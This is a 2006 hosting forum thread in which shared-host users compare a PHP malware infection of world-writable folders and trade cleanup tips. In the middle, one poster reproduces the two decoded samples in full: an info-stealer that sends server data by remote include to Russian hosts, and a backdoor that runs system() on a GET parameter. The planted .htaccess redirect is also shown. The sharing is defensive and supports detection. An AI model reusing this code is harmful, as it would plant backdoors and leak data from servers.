[Michele]

Some script kiddie managed to use a hole to install a few malicious scripts in my public_html.
I'm pretty sure it used a hole in one of the scripts I use (Wordpress, Textpattern and Zenphoto) because it only wrote files in folders writable by the web server.

What keeps me wondering in how he/she/it managed to put these files in every single folder with 777 permissions under my public_html.

Maybe I'm not the only one who was targeted. To know if you are affected too, try to look in 777 folders for files named system.php, time.php or date.php or something like that. There are two of them: one sending as much the info about the server as it can gather to some website, and the other one which can execute commands, sent through a GET variable, using the system() function.
There's also a .htaccess file in each folder redirecting 404 requests to one of the malicious scripts.

I've contacted ASO, but they say it wasn't a system-wide attack, which might be true since the other accounts I have on that server (I have reselling) weren't affected. And unfortunately I don't have logs for the day of the attack (all the files were created on January 20th).
What do you think? I can't find any knowned vulnerability for the latest versions of the scripts I use, so how did the cracker get in?

[Matthew]

Did you use page includes?

[z3rb]

If a folder is 777, i'm pretty sure anyone can write to it from their server.
e.g. if i made a script to dump 100 megs of crap in a 777 folder, i could point at your site.

I don't think it's a hole in any of your scripts.

[jaseone]

Anyone local to the server maybe but not people from the outside, they would need to get in first.

This post has been edited by jaseone: 02 February 2006 - 01:31 PM

[nathus]

I had this problem several times, I've had to change all the permissions on my site and can no longer use my weblog until I figure out a way to make it work with lesser permissions.

[jaseone]

What weblog and what version? They are probably just exploiting a known security hole in an older version of software.

[Michele]

My only concern is that that someone managed to install the scripts in every single 777 directory, which means he/she/it tried to install them in every folder.

It's really bad if you can't even trust your neighbours...

[fleshy]

Oh man, the SAME exact thing happened to me yesterday (not on a small orange hosting though)


Almost every file that was 777, had malicious code inserted. And all folders that were 777 had scripts put into them.


It has been a headache trying to fix everything.


I also used wordpress...

This post has been edited by fleshy: 02 February 2006 - 07:20 PM

[evn]

They wouldn't need to compromise every folder, just the first one. They'll upload their "execute command" script and have it run "ls -lR" to get a list of all folders with weak permissions. From there they can look for setuid files, password hashes, etc. to further their intrusion.

[nathus]

I am using Pivot. The most current version with every feature I don't use (moblog, file uploads) disabled/deleted.

[Ghoul]

I have a few folders as 777 so I decided to check them and there were indeed files there. I think someone on the server got compromised and a PHP script wrote files to every 777 folder on the server.

Some of the file names are as follows:

commands.php
contacts.php
finfo.php
links.php
tests.php
base.php
download.php
package.php
layout.php
options.php
time.php
date.php
include.php
create.php
messages.php
config.php
reports.php
system.php
time.php

They mostly consist of cryptic PHP that uses base64 encoding to mask the real purpose. They are no more than a kilobyte in size.

In addition to populating every 777 folder with PHP files, every folder was also hit with a replacement .htaccess redirecting 404 traffic to the "bad" PHP files.

The only software installed on my account is software I wrote myself, and Lussumo Filebrowser. I believe the attack originated from a different account on the server.

I am on Pi.

The other account I manage (Mount Millions, the link below) is on Hurley and was not hit with this attack.

I suppose there is no possibility to prevent PHP from writing to folders outside the users own directory structure. So that a PHP file being executed in user A would only be able to write in the directory tree of user A... Gah.

This post has been edited by Ghoul: 03 February 2006 - 09:44 PM

[Jeremy Banks]

They mostly consist of cryptic PHP that uses base64 encoding to mask the real purpose. They are no more than a kilobyte in size.

Could you post them, so we could see them for ourselves?

For reference, I'm on HP, and haven't been hit. What server are you on?

[Ghoul]

I am on Pi.

I am posting these files so that others can see the source and identify the same files on their account. Normally the code contained within the files is removed of whitespace so that it can be contained on one line.

The first file:

CODE

<?
error_reporting(0);

$s = "k";
$a = (isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b = (isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
$c = (isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
$d = (isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
$e = (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
$f = (isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
$g = (isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h = (isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);

$str = base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".
base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s";

if ((include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjEyLnBocHN1cHBvcnQucnU=")."/?".$str)))
{
}
else
{
    include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjUucGhwc3VwcG9ydC5ydQ==")."/?".$str);
}

?>

The base64 encodes values are as follows:

"aHR0cDovLw==" is "http://"
"dXNlcjUucGhwc3VwcG9ydC5ydQ==" is "user12.phpsupport.ru"
"dXNlcjUucGhwc3VwcG9ydC5ydQ==" is "user5.phpsupport.ru"

It would seem this file sends an encoded string containing information about the compromised server to "user12.phpsupport.ru" and if that fails, to "user5.phpsupport.ru".

Here is the second file.

CODE

<?php

error_reporting(0);

if (isset($_POST["l"]) and isset($_POST["p"]))
{
    if(isset($_POST["input"]))
    {
        $user_auth = "&l=". base64_encode($_POST["l"]) ."&p=". base64_encode(md5($_POST["p"]));
    }
    else
    {
        $user_auth = "&l=". $_POST["l"] ."&p=". $_POST["p"];
    }
}
else
{
    $user_auth = "";
}

if (!isset($_POST["log_flg"]))
{
    $log_flg = "&log";
}

if (!@include_once(base64_decode("aHR0cDovL2Jpcy5pZnJhbWUucnUvbWFzdGVyLnBocD9yX2FkZHI9") . sprintf("%u", ip2long(getenv(REMOTE_ADDR))) ."&url=". base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg))
{
    if (isset($_GET["a3kfj39fsj2"]))
    {
        system($_GET["a3kfj39fsj2"]);
    }
    if ($_POST["l"]=="special")
    {
        print "sys_active". `uname -a`;
    }
}

?>

base64 encoded content:

"aHR0cDovL2Jpcy5pZnJhbWUucnUvbWFzdGVyLnBocD9yX2FkZHI9" = "http:// bis.iframe.ru/master.php?r_addr="

(Space added to prevent autolinking.)

This file seems to accept post information from some kind of remote server and execute commands on the server through the system function. It also alerts back to the above URL a integer version of the IP of the remote address and the requested URL.

The .htaccess file created in each infected folder is similar to this:

CODE

Options -MultiViews
ErrorDocument 404 //path/to/infected/file.php

I only downloaded one sample .htaccess so I don't know if the double slash at the begining is normal. The path in the sample I found is NOT a valid path, and does not take into account "home" or "username" or even "public_html" in the directory structure. Normally the 404 redirection would run the first script I posted, alerting whomever compromised the server.

I haven't found any other files. I searched the logs I could find and it doesn't look like any of the files were ever accessed. It would seem I was infected due to the shared hosting fact.

If anyone has anymore information, please post.

[Michele]

Same scripts I found on my account, but I'm on Xi.

[Oblivion.]

They're ALL OVER my accounts aswell....

I've asked if there's any chance of getting some sort of 'roll-back' on my account, but I've got a feeling the answer will be a no .

EDIT: Going through my various accounts on Pi now, that's the last time I CHMOD anything to 777 whilst on a shared host. Just a heads up for anyone else looking to quickly (well, trying to) delete files most of them seem to be either 1.01KB or 694bytes, there seems to be one of each file in each folder (with random common names), and there's always the messed-up .htaccess file.

This post has been edited by Oblivion.: 04 February 2006 - 07:39 AM

[simsim]

As a general rule of thumb, everyone who's on a shared account should set permissions to all scripts files to not to be globaly writable.

You shall do this by FTP or by SSH access. Just chomd all PHP, HTML & ASP files to 644.

For setting file permissions using shell access, excute the following command:

CODE

cd /path/to/your/script folder
chmod -R 644 *.php
chmod -R 644 *.html
chmod -R 644 *.asp

[war59312]

Um speaking of just using this atm:

ls -lR > listing.txt

but wondering if there is a way to only export to file those files are are chmod 777 to a text file?

[Ghoul]

Um speaking of just using this atm:

ls -lR > listing.txt

but wondering if there is a way to only export to file those files are are chmod 777 to a text file?

Try:

CODE

ls -lR | grep rwxrwxrwx > listing.txt

This post has been edited by Ghoul: 17 February 2006 - 02:00 PM

[-ASO- BJ]

If you have ssh enabled you can use the following command to see which files have the offending code, run from your public_html folder.

CODE

find . -type f | xargs grep -l base64_encode

From there you can see which files you need to just delete and which you will need to edit.

Any lines that start with grep: can be ignored, as can any with warning or error lines.

I wouldn't just check mode 777 files, I saw this today on mode 666 ones.

[Randy Walker]

I got hit by this too. I went to look at my website (powered by WordPress) and it showed a plugin error. So I freaked. I didn't know what was wrong. First, I deleted my plugins. Nothing. So I looked at my theme. There were some extra files: commands.php and options.php. I was like WTF?

So, yea, I'm scouring my site for more files.